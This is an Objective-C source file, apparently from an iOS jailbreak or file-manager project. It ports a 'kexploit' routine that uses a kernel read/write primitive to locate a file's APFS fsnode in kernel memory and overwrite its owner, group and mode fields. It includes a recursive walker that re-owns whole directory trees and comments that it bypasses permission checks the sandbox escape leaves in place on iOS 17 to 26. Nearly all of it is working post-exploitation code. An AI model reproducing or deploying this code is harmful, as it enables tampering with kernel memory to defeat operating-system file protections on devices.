Filza 27.2 worse_query: public and developer builds
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/*
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* apfs_own.m — 1:1 port of lara/kexploit/pe/apfs.m
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*
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* Walk: fd -> self_proc->p_fd->fd_ofiles[fd] -> fileproc->fp_glob
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* -> fileglob->fg_data (vnode) -> v_data (apfs_fsnode)
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* Then modify apfs_fsnode.uid / gid / mode directly in kernel memory.
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*
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* apfs_fsnode lives in a regular writable zone (not ZC_READONLY / PPL),
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* so socket-based kR/W works on iOS 17.0 through 26.x — unlike the
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* ucred/proc_ro writes which are blocked.
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*/
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#import <Foundation/Foundation.h>
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#include <fcntl.h>
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#include <unistd.h>
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#include <sys/stat.h>
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#include <stddef.h>
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#include <dirent.h>
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#include <string.h>
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#include <limits.h>
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#include "apfs_own.h"
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#include "kexploit/kutils.h"
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#include "kexploit/krw.h"
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#include "kexploit/offsets.h"
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#include "kexploit/xpaci.h"
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#include "kexploit/vnode.h"
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// Verbatim from lara/kexploit/pe/apfs.m. We only touch uid/gid/mode, but
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// keeping the full layout so offsetof() stays correct if lara updates it.
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struct apfs_fsnode {
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uint8_t type;
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uint8_t _type_pad[7];
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uint64_t ino;
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union {
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uint64_t jhash_prev;
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struct {
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uint32_t _jhash_prev_lo;
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uint16_t xattr_count;
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uint16_t xattr_flags;
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};
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};
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uint64_t jhash_next;
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union {
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uint64_t parent_ino_or_owner_vnode;
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struct {
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uint32_t parent_ino_lo;
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uint16_t parent_sub;
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uint16_t _parent_pad;
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};
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};
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uint32_t nstream_id;
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union {
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uint32_t internal_flags;
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struct {
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uint8_t reclaim_flag;
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uint8_t busy_flag;
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uint16_t internal_flags_hi;
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};
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};
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void *jhash_gate;
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union {
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uint64_t internal_link;
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struct {
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uint8_t _link_base;
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uint8_t snap_rename_flag;
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uint16_t _link_pad;
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uint32_t snap_mount_state;
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};
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};
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uint64_t graft_state;
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uint64_t snap_state;
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uint64_t fake_getattr_data;
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uint64_t mnomap_data;
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uint64_t cleanup_data;
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union {
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uint64_t crypto_state;
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struct {
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uint8_t _crypto_base;
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uint8_t crypto_class;
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uint8_t crypto_flags;
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uint8_t _crypto_pad;
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uint32_t crypto_extra;
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};
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};
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uint32_t bsd_flags;
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uint32_t gen_flags;
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uint64_t mmap_state;
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uid_t uid;
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gid_t gid;
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uint16_t mode;
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uint16_t open_refcnt;
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uint32_t ino_flags_ext;
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uint64_t raw_enc_data;
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};
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// Primary: open()-based. Needs read permission on the target, so it can
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// hit EACCES on root-owned 0600/0700 files that our sandbox escape doesn't
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// bypass (sandbox clears MAC, not DAC).
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static uint64_t getvnodefor_open(const char *path) {
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int fd = open(path, O_RDONLY);
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if (fd == -1) return (uint64_t)-1;
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uint64_t self_proc = proc_self();
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if (!self_proc) { close(fd); return (uint64_t)-1; }
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uint64_t fileprocPtrArr = kread64(self_proc + off_proc_p_fd + off_filedesc_fd_ofiles);
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fileprocPtrArr = xpaci(fileprocPtrArr);
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if (!fileprocPtrArr) { close(fd); return (uint64_t)-1; }
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uint64_t fileproc = kread64(fileprocPtrArr + (8 * fd));
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if (!fileproc) { close(fd); return (uint64_t)-1; }
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uint64_t fp_glob = kread64(fileproc + off_fileproc_fp_glob);
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fp_glob = xpaci(fp_glob);
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if (!fp_glob) { close(fd); return (uint64_t)-1; }
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uint64_t vnode = kread64(fp_glob + off_fileglob_fg_data);
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vnode = xpaci(vnode);
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close(fd);
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return vnode;
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}
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// Fallback for directories: chdir-based. Only needs x perm on parent chain,
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// not r perm on target. We reset cwd afterwards.
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static uint64_t getvnodefor_chdir(const char *path) {
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char oldcwd[PATH_MAX];
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if (!getcwd(oldcwd, sizeof(oldcwd))) oldcwd[0] = '\0';
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if (chdir(path) != 0) return (uint64_t)-1;
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uint64_t self_proc = proc_self();
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uint64_t vnode = kread64(self_proc + off_proc_p_fd + off_filedesc_fd_cdir);
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vnode = xpaci(vnode);
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if (oldcwd[0]) chdir(oldcwd);
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else chdir("/");
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return vnode;
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}
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static uint64_t getvnodefor(const char *path) {
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uint64_t v = getvnodefor_open(path);
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if (v != (uint64_t)-1 && v != 0) return v;
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// Fallback: chdir works for directories even when open() fails EACCES.
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return getvnodefor_chdir(path);
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}
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static uint64_t get_fsnode(const char *path) {
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uint64_t vnode = getvnodefor(path);
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if (vnode == (uint64_t)-1 || !vnode) return 0;
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uint64_t fs_node = kread64(vnode + off_vnode_v_data);
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return fs_node;
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}
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uint32_t apfs_getuid_kr(const char *path) {
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uint64_t fs_node = get_fsnode(path);
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if (!fs_node) return 0;
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return kread32(fs_node + offsetof(struct apfs_fsnode, uid));
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}
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uint32_t apfs_getgid_kr(const char *path) {
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uint64_t fs_node = get_fsnode(path);
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if (!fs_node) return 0;
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return kread32(fs_node + offsetof(struct apfs_fsnode, gid));
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}
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uint16_t apfs_getmode_kr(const char *path) {
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uint64_t fs_node = get_fsnode(path);
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if (!fs_node) return 0;
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return kread16(fs_node + offsetof(struct apfs_fsnode, mode));
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}
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int apfs_own(const char *path, uid_t uid, gid_t gid) {
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uint64_t fs_node = get_fsnode(path);
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if (!fs_node) {
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NSLog(@"[APFS] own: unable to get fs_node: %s", path);
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return -1;
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}
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// Sanity check: kernel-read uid must match what stat() reports, or the
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// struct layout is wrong and we'd corrupt an unrelated field.
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struct stat st_before;
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if (stat(path, &st_before) == 0) {
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uint32_t kuid = kread32(fs_node + offsetof(struct apfs_fsnode, uid));
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if (kuid != st_before.st_uid) {
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NSLog(@"[APFS] own: layout mismatch for %s (stat uid=%u, kernel uid=%u); aborting",
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path, st_before.st_uid, kuid);
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return -1;
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}
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}
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kwrite32(fs_node + offsetof(struct apfs_fsnode, uid), uid);
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kwrite32(fs_node + offsetof(struct apfs_fsnode, gid), gid);
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sync(); sync(); sync();
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struct stat st;
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if (stat(path, &st) != 0) {
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NSLog(@"[APFS] own: stat() failed after write: %s", path);
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return -1;
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}
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if (st.st_uid != uid || st.st_gid != gid) {
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NSLog(@"[APFS] own: verify failed (got uid=%u gid=%u, expected %u/%u): %s",
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st.st_uid, st.st_gid, uid, gid, path);
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return -1;
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}
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NSLog(@"[APFS] own: %s -> uid=%u gid=%u", path, uid, gid);
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return 0;
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}
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// Fast path: skip per-entry sync/stat verify. Used by the bulk tree walker.
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// Returns 0 on success (readback matched), -1 on failure.
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static int apfs_own_unsafe(const char *path, uid_t uid, gid_t gid,
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uint32_t *out_before_uid) {
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uint64_t fs_node = get_fsnode(path);
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if (!fs_node) return -1;
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uint32_t before = kread32(fs_node + offsetof(struct apfs_fsnode, uid));
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if (out_before_uid) *out_before_uid = before;
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kwrite32(fs_node + offsetof(struct apfs_fsnode, uid), uid);
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kwrite32(fs_node + offsetof(struct apfs_fsnode, gid), gid);
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// Kernel-side read-back: if the write didn't take, we haven't changed
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// anything and the caller should count this as a failure.
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uint32_t after = kread32(fs_node + offsetof(struct apfs_fsnode, uid));
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if (after != uid) return -1;
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return 0;
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}
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// Skip subtrees iOS validates by ownership — chown'ing these breaks codesign
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// or FairPlay DRM and can brick the app.
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static int is_skip_name(const char *name) {
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return strcmp(name, "_CodeSignature") == 0 ||
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strcmp(name, "SC_Info") == 0;
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}
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static long chown_walk(const char *path, uid_t uid, gid_t gid, int depth,
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long *skipped_lstat, long *skipped_chown, long *skipped_opendir) {
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if (depth > 32) return 0;
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struct stat st;
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if (lstat(path, &st) != 0) { (*skipped_lstat)++; return 0; }
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if (S_ISLNK(st.st_mode)) return 0;
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long n = 0;
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uint32_t before_uid = (uint32_t)-1;
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int rc = apfs_own_unsafe(path, uid, gid, &before_uid);
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if (rc == 0) {
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n++;
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// Log first few successful chowns (non-no-op) to prove writes work.
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if (before_uid != uid && n <= 5) {
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NSLog(@"[APFS] chown'd: %s (uid %u -> %u)", path, before_uid, uid);
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}
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} else {
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(*skipped_chown)++;
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if (*skipped_chown <= 5) {
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NSLog(@"[APFS] skipped chown: %s (before=%u errno=%d)",
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path, before_uid, errno);
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}
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}
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if (S_ISDIR(st.st_mode)) {
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DIR *d = opendir(path);
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if (!d) {
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(*skipped_opendir)++;
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if (*skipped_opendir <= 5)
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NSLog(@"[APFS] skipped opendir: %s (errno=%d)", path, errno);
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return n;
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}
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struct dirent *e;
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while ((e = readdir(d)) != NULL) {
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if (strcmp(e->d_name, ".") == 0 || strcmp(e->d_name, "..") == 0) continue;
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if (is_skip_name(e->d_name)) continue;
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char child[PATH_MAX];
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int len = snprintf(child, sizeof(child), "%s/%s", path, e->d_name);
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if (len <= 0 || len >= (int)sizeof(child)) continue;
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n += chown_walk(child, uid, gid, depth + 1,
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skipped_lstat, skipped_chown, skipped_opendir);
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}
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closedir(d);
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}
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return n;
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}
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long apfs_own_tree(const char *root, uid_t uid, gid_t gid) {
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NSLog(@"[APFS] own_tree: walking %s -> uid=%u gid=%u", root, uid, gid);
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long skipped_lstat = 0, skipped_chown = 0, skipped_opendir = 0;
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long n = chown_walk(root, uid, gid, 0,
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&skipped_lstat, &skipped_chown, &skipped_opendir);
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sync(); sync(); sync();
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NSLog(@"[APFS] own_tree: chown'd %ld entries under %s "
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"(skipped: lstat=%ld chown=%ld opendir=%ld)",
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n, root, skipped_lstat, skipped_chown, skipped_opendir);
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return n;
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}
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int apfs_mod(const char *path, mode_t mode) {
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uint64_t fs_node = get_fsnode(path);
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if (!fs_node) {
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NSLog(@"[APFS] mod: unable to get fs_node: %s", path);
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return -1;
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}
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struct stat st_before;
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if (stat(path, &st_before) == 0) {
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uint16_t kmode = kread16(fs_node + offsetof(struct apfs_fsnode, mode));
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if (kmode != (st_before.st_mode & 0xFFFF)) {
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NSLog(@"[APFS] mod: layout mismatch for %s (stat mode=0%o, kernel=0%o); aborting",
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path, st_before.st_mode & 0xFFFF, kmode);
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return -1;
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}
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}
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kwrite16(fs_node + offsetof(struct apfs_fsnode, mode), (uint16_t)mode);
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sync(); sync(); sync();
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struct stat st;
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if (stat(path, &st) != 0) return -1;
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if ((st.st_mode & 0xFFFF) != (mode & 0xFFFF)) {
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NSLog(@"[APFS] mod: verify failed (got 0%o, expected 0%o): %s",
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st.st_mode & 0xFFFF, mode, path);
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return -1;
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}
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NSLog(@"[APFS] mod: %s -> 0%o", path, mode);
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return 0;
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}
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